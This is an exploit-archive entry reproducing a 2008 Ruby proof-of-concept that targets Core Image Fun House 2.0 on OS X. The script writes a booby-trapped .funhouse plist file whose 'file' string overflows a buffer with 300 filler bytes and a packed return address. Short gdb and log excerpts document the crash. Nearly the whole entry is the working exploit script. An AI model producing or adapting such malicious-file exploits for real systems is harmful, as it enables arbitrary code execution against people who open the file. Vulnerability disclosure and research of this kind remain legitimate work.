Core Image Fun House <= 2.0 Arbitrary Code Execution PoC (OSX)

🗓️ 12 Jul 2008 00:00:00Reported by RootType

Core Image Fun House 2.0 Arbitrary Code Execution PoC for OS


                                                #!/usr/bin/ruby
# Copyright (c) Netragard, LLC. [email protected]
#
# /Developer/Applications/Graphics Tools/Core Image Fun House.app
# /Contents/MacOS/Core Image Fun House
#
# (gdb) x/10s 0xbfffddf7
# 0xbfffddf7:      'Z' &lt;repeats 101 times&gt;, &quot;DCBA center&quot;
#
# 2007-07-10 21:15:34.573 Core Image Fun House[1061] CFLog (0):
#        CFPropertyListCreateFromXMLData(): plist parse failed;
#        the data is notproper UTF-8. The file name for this data
#        could be:
$
#        /Users/test/Desktop/SuperTastey.funhouse/file.xml
#        The parser will retry as in 10.2, but the problem should be
#         corrected in the plist.
#
#  \x80-\xFF range that do not form proper utf8

len = 300
fname = &quot;SuperTastey&quot;
retaddr = 0x0d0d0d0d  # There are lots of filtered chars!

if File.exist?(fname + &quot;.funhouse/file.xml&quot;)
    File.unlink(fname + &quot;.funhouse/file.xml&quot;)
    Dir.rmdir(fname + &quot;.funhouse&quot;)
end
Dir.mkdir(fname + &quot;.funhouse&quot;)

FUNSTUFF =
&quot;&lt;?xml version=\&quot;1.0\&quot; encoding=\&quot;UTF-8\&quot;?&gt;&quot; +
&quot;&lt;!DOCTYPE plist PUBLIC \&quot;-//Apple Computer//DTD PLIST 1.0//EN\&quot;
\&quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd\&quot;&gt;&quot; +
&quot;&lt;plist version=\&quot;1.0\&quot;&gt;&quot; +
&quot;&lt;dict&gt;&quot; +
&quot;&lt;key&gt;layers&lt;/key&gt;&quot; +
&quot;&lt;array&gt;&quot; +
&quot;&lt;dict&gt;&quot; +
&quot;&lt;key&gt;file&lt;/key&gt;&quot; +
&quot;&lt;string&gt;&quot; +
&quot;Z&quot; * len + [retaddr].pack(&quot;V&quot;) +
&quot;&lt;/string&gt;&quot; +
&quot;&lt;key&gt;offsetX&lt;/key&gt;&quot; +
&quot;&lt;real&gt;0.0&lt;/real&gt;&quot; +
&quot;&lt;key&gt;offsetY&lt;/key&gt;&quot; +
&quot;&lt;real&gt;0.0&lt;/real&gt;&quot; +
&quot;&lt;key&gt;type&lt;/key&gt;&quot; +
&quot;&lt;string&gt;image&lt;/string&gt;&quot; +
&quot;&lt;/dict&gt;&quot; +
&quot;&lt;dict&gt;&quot; +
&quot;&lt;key&gt;classname&lt;/key&gt;&quot; +
&quot;&lt;string&gt;CIGlassDistortion&lt;/string&gt;&quot; +
&quot;&lt;key&gt;type&lt;/key&gt;&quot; +
&quot;&lt;string&gt;filter&lt;/string&gt;&quot; +
&quot;&lt;key&gt;values&lt;/key&gt;&quot; +
&quot;&lt;dict&gt;&quot; +
&quot;&lt;key&gt;inputCenter_CIVectorValue&lt;/key&gt;&quot; +
&quot;&lt;string&gt;[150 150]&lt;/string&gt;&quot; +
&quot;&lt;key&gt;inputScale&lt;/key&gt;&quot; +
&quot;&lt;real&gt;200&lt;/real&gt;&quot; +
&quot;&lt;key&gt;inputTexture&lt;/key&gt;&quot; +
&quot;&lt;string&gt;&quot; +
&quot;Z&quot; * 50000 +
&quot;&lt;/string&gt;&quot; +
&quot;&lt;/dict&gt;&quot; +
&quot;&lt;/dict&gt;&quot; +
&quot;&lt;/array&gt;&quot; +
&quot;&lt;/dict&gt;&quot; +
&quot;&lt;/plist&gt;&quot; + &quot;\n&quot;

target_file = File.open(&quot;SuperTastey.funhouse/file.xml&quot;, &quot;w+&quot;) { |f|
~  f.print(FUNSTUFF)  # weeeeee... lets have fun.
~  f.close
}

12 Jul 2008 00:00Current

7.1High risk

Vulners AI Score7.1

Core Image Fun House &lt;= 2.0 Arbitrary Code Execution PoC (OSX)

Core Image Fun House <= 2.0 Arbitrary Code Execution PoC (OSX)